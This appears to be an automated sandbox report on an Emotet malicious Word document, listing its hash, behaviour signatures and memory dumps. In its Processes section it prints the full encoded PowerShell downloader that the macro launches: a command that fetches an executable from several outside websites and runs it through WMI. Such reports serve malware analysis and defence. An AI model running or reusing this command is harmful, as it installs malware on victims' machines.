Analysis
- max time kernel
137s - max time network
151s - platform
windows10_x64 - resource
win10 - submitted
16/10/2020, 09:15
General
- Target emotet_e1_28d9fcac0c4a6e340c432852050168e97798b64875f9213b4b4d39bb078fbfea_2020-10-16__091336025868._doc.doc
- Size 210KB
- Sample201016-a8yjea7llx
- SHA256 28d9fcac0c4a6e340c432852050168e97798b64875f9213b4b4d39bb078fbfea
Score
10/10
Malware Config
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Blacklisted process makes network request 1 IoCs
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 2 IoCs
- Suspicious behavior: EnumeratesProcesses 3 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 9 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_28d9fcac0c4a6e340c432852050168e97798b64875f9213b4b4d39bb078fbfea_2020-10-16__091336025868._doc.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exePOwersheLL -ENCOD JABWAHMAdwBwAGUAYQB6AD0AKAAoACcAUAB2AGcAJwArACcAZQB6ACcAKQArACcAZABwACcAKQA7ACQAUAA5AGQANAAxADIAcAA9ACQAWgB6AGwAZwBrAHEAZAAgACsAIABbAGMAaABhAHIAXQAoADEAIAArACAAMQAgACsAIAAyADAAIAArACAAMQAwACAAKwAgADEAMAApACAAKwAgACQAQQBvAG0AaAAyAHgAeAA7ACQARQAyADAAaABlAGEAMwA9ACgAJwBaAG0AJwArACcAXwAzACcAKwAoACcAMwAnACsAJwAzAGkAJwApACkAOwBbAHMAeQBzAHQAZQBtAC4AaQBvAC4AZABpAHIAZQBjAHQAbwByAHkAXQA6ADoAIgBDAGAAUgBlAGEAdABFAGQASQBgAFIARQBjAFQATwBgAFIAWQAiACgAJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQAgACsAIAAoACgAKAAnAHkAQQAnACsAJwBEAEoAJwApACsAJwB5ACcAKwAoACcAcAB3ACcAKwAnAG0AJwArACcAMAA4AHkAQQAnACkAKwAoACcARAAnACsAJwBPAHUAOAAnACkAKwAoACcAaAAnACsAJwB3AHcAJwApACsAKAAnADIAeQAnACsAJwBBACcAKQArACcARAAnACkALgAiAFIARQBQAEwAQQBgAEMAZQAiACgAKAAnAHkAJwArACcAQQBEACcAKQAsAFsAUwBUAFIASQBuAGcAXQBbAEMAaABBAFIAXQA5ADIAKQApACkAOwAkAEQAZQBpADgAbAB2AGQAPQAoACgAJwBLACcAKwAnADgAbwAnACkAKwAoACcAMgB6AHIAJwArACcAbQAnACkAKQA7AFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGAARQBDAHUAcgBpAHQAeQBQAFIATwBUAG8AYABDAGAAbwBMACIAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6ACIAdABsAHMAYAAxADIAIgA7ACQAWQBoADkAMABlAGgAeQA9ACgAKAAnAFgAOQBoACcAKwAnADkAJwApACsAJwByAG0AJwArACcAOQAnACkAOwAkAFIAOABsADcAMwB4ADYAIAA9ACAAKAAnAEUAJwArACcANwAnACsAKAAnAGQAdwAnACsAJwBwADEAJwApACkAOwAkAFAAeQB3ADQAaAB3AGIAPQAoACcATgAnACsAKAAnAF8AJwArACcAYQA0AHUAJwApACsAJwA2AGsAJwApADsAJABYAHIAagBfAG4AbwBmAD0AKAAnAEMAMAAnACsAKAAnAGYAdgA0ACcAKwAnAG8AJwApACsAJwAxACcAKQA7ACQATgBwAHYAegA1AHoAYwA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAJwB7ADAAJwArACcAfQBKAHkAcAB3AG0AJwArACcAMAA4AHsAMAB9AE8AdQA4ACcAKwAoACcAaAB3ACcAKwAnAHcAJwApACsAJwAyACcAKwAnAHsAMAAnACsAJwB9ACcAKQAgACAALQBmACAAIABbAEMASABhAFIAXQA5ADIAKQArACQAUgA4AGwANwAzAHgANgArACgAJwAuAGUAJwArACcAeABlACcAKQA7ACQARwB0AG0AawB0AHAAcQA9ACgAKAAnAFgAagAnACsAJwB6ADAAJwApACsAJwByAHQAJwArACcAbwAnACkAOwAkAFMAcAB5AHAAdwBnAGsAPQAuACgAJwBuAGUAdwAtACcAKwAnAG8AYgBqAGUAJwArACcAYwB0ACcAKQAgAE4AZQB0AC4AVwBlAGIAQwBMAGkARQBuAHQAOwAkAEIANwAwAGoAbQBwADcAPQAoACcAaAAnACsAJwB0ACcAKwAnAHQAJwArACgAJwBwADoAJwArACcALwAnACkAKwAnAC8AdwAnACsAKAAnAHcAJwArACcAdwAuAHQAaQAnACkAKwAnAGsAdAAnACsAKAAnAG8AawB2AGEAcAAnACsAJwBlAHMAJwArACcALgAnACkAKwAoACcAYwBvAG0AJwArACcALwB3ACcAKQArACgAJwBwAC0AYQAnACsAJwBkAG0AaQAnACsAJwBuAC8AJwApACsAJwB4ACcAKwAnAEwALwAnACsAJwAqACcAKwAoACcAaAAnACsAJwB0AHQAcAA6ACcAKwAnAC8ALwB3ACcAKQArACcAdwB3ACcAKwAoACcALgBiACcAKwAnAGwAJwApACsAJwBhAGMAJwArACgAJwBrAHMAJwArACcAdAAnACkAKwAoACcAbwAnACsAJwBuAGUAdAAnACkAKwAoACcAdQB0AG8AJwArACcAcgBzACcAKQArACcALQBvACcAKwAoACcAbgAnACsAJwBsAGkAJwApACsAKAAnAG4AJwArACcAZQBwAG8AJwArACcAcgB0AGEAbAAnACsAJwAuACcAKQArACcAYwBvACcAKwAoACcAbQAnACsAJwAvAHcAcAAtAGkAJwApACsAKAAnAG4AYwAnACsAJwBsACcAKQArACgAJwB1ACcAKwAnAGQAZQBzAC8AJwApACsAKAAnAGYAbQAnACsAJwAvACoAJwApACsAKAAnAGgAdAAnACsAJwB0AHAAJwApACsAKAAnADoAJwArACcALwAvACcAKQArACcAYgBhACcAKwAnAGMAJwArACgAJwBoAGgAJwArACcAbwAnACkAKwAoACcAYQAnACsAJwBuAGgAJwApACsAJwBhACcAKwAnAGwAZQAnACsAJwAuACcAKwAnAGMAJwArACgAJwBvACcAKwAnAG0AJwArACcALwB3AG8AcgAnACkAKwAoACcAZABwACcAKwAnAHIAJwApACsAKAAnAGUAcwBzAC8ASQAnACsAJwAvACcAKwAnACoAJwApACsAJwBoAHQAJwArACgAJwB0ACcAKwAnAHAAOgAnACkAKwAnAC8AJwArACcALwAnACsAJwBpACcAKwAoACcAbgB2AGEAJwArACcAbAB1ACcAKwAnAGEAYgBsAGUAJwApACsAJwBhAHIAJwArACcAdABzACcAKwAoACcALgBjAG8AJwArACcAbQAvADYAcwAnACkAKwAoACcAbgAxAGYAJwArACcALwAnACkAKwAoACcAdAAnACsAJwAvACoAJwApACsAJwBoACcAKwAoACcAdAAnACsAJwB0AHAAJwApACsAKAAnAHMAOgAvAC8AJwArACcAdwAnACsAJwB3AHcAJwArACcALgBtAHkAYwBvAGwAJwApACsAJwBsAGUAJwArACgAJwBnACcAKwAnAGUAJwArACcAYwBwAC4AYwBvACcAKQArACcAbQAnACsAJwAvAGMAJwArACcAbwBuACcAKwAnAHQAZQAnACsAKAAnAG4AdAAnACsAJwAvAGsAJwApACsAKAAnAFIAJwArACcATAAvACoAaAAnACsAJwB0AHQAcAA6AC8ALwB0AGEAdAAnACkAKwAnAGkAJwArACcAbABiACcAKwAoACcAdQAnACsAJwByAGQAdQAnACkAKwAnAHIAJwArACcALgBjACcAKwAoACcAbwAnACsAJwBtAC8AcwBjACcAKwAnAHUAdAAnACkAKwAoACcAdQAnACsAJwBtAC8ASwBWACcAKwAnAC8AKgBoAHQAJwApACsAKAAnAHQAcAAnACsAJwBzACcAKQArACgAJwA6AC8ALwAnACsAJwB3AHcAdwAnACsAJwAuACcAKQArACcAcAAnACsAJwBnACcAKwAoACcAaQBzACcAKwAnAG8ALgBjACcAKQArACcAbwBtACcAKwAoACcALwB3AHAAJwArACcALQBhAGQAJwApACsAJwBtAGkAJwArACcAbgAnACsAJwAvACcAKwAnAG0AQwAnACsAJwBRACcAKwAnAC8AJwApAC4AIgBTAFAAbABgAGkAdAAiACgAJABYAHUAZwBmAGcAMgBsACAAKwAgACQAUAA5AGQANAAxADIAcAAgACsAIAAkAE4AegB6AGkAcgBxADgAKQA7ACQASABxAHUAYQBzAF8ANAA9ACgAJwBBACcAKwAoACcANwBkACcAKwAnAGQAegAnACkAKwAnAGcAcQAnACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAFMAcgA1ADMAYgA0ADcAIABpAG4AIAAkAEIANwAwAGoAbQBwADcAKQB7AHQAcgB5AHsAJABTAHAAeQBwAHcAZwBrAC4AIgBkAE8AYAB3AGAATgBsAE8AQQBgAGQAZgBpAGwAZQAiACgAJABTAHIANQAzAGIANAA3ACwAIAAkAE4AcAB2AHoANQB6AGMAKQA7ACQAUAAyAHoAagBpAHYAbwA9ACgAKAAnAEYAZgAnACsAJwAzACcAKQArACgAJwA1ACcAKwAnADEAaQA4ACcAKQApADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0ASQB0AGUAJwArACcAbQAnACkAIAAkAE4AcAB2AHoANQB6AGMAKQAuACIAbABFAG4AYABHAFQASAAiACAALQBnAGUAIAAyADkAOQA4ADgAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACgAJwB3ACcAKwAnAGkAbgAnACsAJwAzACcAKwAoACcAMgBfAFAAJwArACcAcgBvAGMAZQAnACsAJwBzAHMAJwApACkAKQAuACIAYwBgAFIAZQBhAFQAZQAiACgAJABOAHAAdgB6ADUAegBjACkAOwAkAE8AegBhADAAbgA4ADgAPQAoACgAJwBSAGYAJwArACcAawB4ACcAKQArACcAaQAnACsAJwB0AG0AJwApADsAYgByAGUAYQBrADsAJABEAHkAMQAyAHgAOAB6AD0AKAAoACcAQgAnACsAJwA1AG4AJwApACsAKAAnAGgAJwArACcAXwAzACcAKQArACcANAAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFIAMgBlAHMAcAB2AGgAPQAoACgAJwBVACcAKwAnAHMAdQAnACkAKwAnAHAAJwArACgAJwBkACcAKwAnADcAXwAnACkAKQA=1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
memory/2488-6-0x00007FF9847B0000-0x00007FF98519C000-memory.dmp
memory/2488-7-0x000002B2D03C0000-0x000002B2D03C1000-memory.dmp
memory/2488-8-0x000002B2D06E0000-0x000002B2D06E1000-memory.dmp
memory/3844-0-0x00007FF98C250000-0x00007FF98C916000-memory.dmp
memory/3844-1-0x0000021D13280000-0x0000021D13285000-memory.dmp
memory/3844-2-0x0000021D13280000-0x0000021D13285000-memory.dmp
memory/3844-3-0x0000021D1327B000-0x0000021D13280000-memory.dmp
memory/3844-4-0x0000021D1327B000-0x0000021D13280000-memory.dmp
memory/3844-5-0x0000021D133DC000-0x0000021D133E1000-memory.dmp